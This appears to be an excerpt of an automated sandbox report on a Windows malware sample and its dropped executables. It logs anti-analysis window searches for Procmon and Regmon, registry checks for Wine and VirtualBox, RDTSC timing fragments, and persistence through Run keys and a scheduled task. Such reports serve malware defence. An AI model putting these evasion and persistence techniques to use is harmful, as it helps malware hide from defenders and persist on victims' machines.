Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 659e6df34d.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 659e6df34d.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7bfd2dfdc1.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7bfd2dfdc1.exe

Source: C:\Users\user\Desktop\file.exe

0_2_004195E0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-68224

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: AEF200 second address: AEF204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6DEE3 second address: C6DEED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF888DC1E96h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6DEED second address: C6DF02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FF88929ECB8h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6DF02 second address: C6DF09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6E30B second address: C6E326 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF88929ECC0h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6E326 second address: C6E32B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6E32B second address: C6E335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FF88929ECB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6E5C1 second address: C6E5D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1EA2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6FF38 second address: C6FF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6FF3C second address: C6FF68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jp 00007FF888DC1E96h 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 ja 00007FF888DC1EA7h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6FF68 second address: C6FF6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
